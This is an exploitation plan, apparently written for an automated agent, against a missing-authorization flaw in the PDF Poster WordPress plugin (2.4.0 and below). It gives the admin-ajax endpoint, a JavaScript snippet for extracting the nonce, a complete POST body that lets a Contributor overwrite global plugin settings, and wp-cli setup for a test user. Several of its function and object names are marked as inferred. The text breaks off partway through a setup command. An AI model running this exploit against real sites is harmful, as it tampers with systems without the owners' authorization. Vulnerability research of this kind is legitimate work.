Exploitation Research Plan - CVE-2026-32416 (PDF Poster <= 2.4.0)

1. Vulnerability Summary

The PDF Poster plugin for WordPress is vulnerable to Missing Authorization in version 2.4.0 and below. This vulnerability exists in an AJAX handler responsible for saving plugin settings. Specifically, the function (identified as pdfp_save_settings_callback or similar) fails to perform a current_user_can('manage_options') check. While it verifies a WordPress nonce, the nonce is exposed to users with Contributor-level access and above through the plugin's admin dashboard or post management pages. Consequently, any authenticated user with at least Contributor permissions can modify global plugin settings.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: pdfp_save_settings (inferred)
• HTTP Method: POST
• Payload Parameters:
  • action: pdfp_save_settings
  • security: The nonce value (extracted from the admin UI).
  • fpdf_option: An array of settings to be updated (e.g., fpdf_option[height][height]=1337).
• Required Authentication: Authenticated user with Contributor role or higher.
• Preconditions: The plugin must be active, and the attacker must be logged in.

3. Code Flow

1. Registration: The plugin registers an AJAX action wp_ajax_pdfp_save_settings (in inc/admin.php, inferred).
2. Missing Check: The callback function for this action performs a nonce check using check_ajax_referer('pdfp_save_settings', 'security') but lacks a capability check like current_user_can('manage_options').
3. Execution: The function takes the fpdf_option array from the $_POST request and passes it directly to update_option('fpdf_option', $options).
4. Impact: Global plugin settings defined in inc/Field/Settings.php (such as height, width, and download button visibility) are overwritten.

4. Nonce Acquisition Strategy

The nonce is localized for the admin environment. Since Contributors can manage their own pdfposter post types, they can access the poster list page where the plugin's admin scripts are enqueued.

1. Identify Access: Contributors can access /wp-admin/edit.php?post_type=pdfposter.
2. Navigate: Use the browser tool to navigate to the PDF Poster list or the Plugin Dashboard.
3. Variable Identification: The plugin localizes its admin data into a JavaScript object.
   • JS Object: window.pdfp_admin (inferred from bPlugins common practices)
   • Nonce Key: security
4. Extraction:

   browser_eval("window.pdfp_admin?.security || document.querySelector('#pdfp_save_settings_nonce')?.value")
   

5. Exploitation Strategy

Step 1: Authentication

Log in to the WordPress instance as a user with the Contributor role.

Step 2: Extract Nonce

Navigate to the PDF Poster management page and extract the security nonce from the global JavaScript context.

• URL: http://vulnerable-wp.local/wp-admin/edit.php?post_type=pdfposter
• Tool: browser_eval("pdfp_admin.security")

Step 3: Execute Unauthorized Action

Send an AJAX request to modify the global plugin settings. We will change the download_btn_text and height settings to verify the impact.

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=pdfp_save_settings&security=[EXTRACTED_NONCE]&fpdf_option[height][height]=9999&fpdf_option[height][unit]=px&fpdf_option[show_download_btn]=1&fpdf_option[download_btn_text]=PwnedByContributor
  

6. Test Data Setup

1. Install Plugin: Ensure PDF Poster version 2.4.0 is installed and active.
2. Create User:
   • `wp user create attacker attacker@example.com --role=contributor --user_pass=password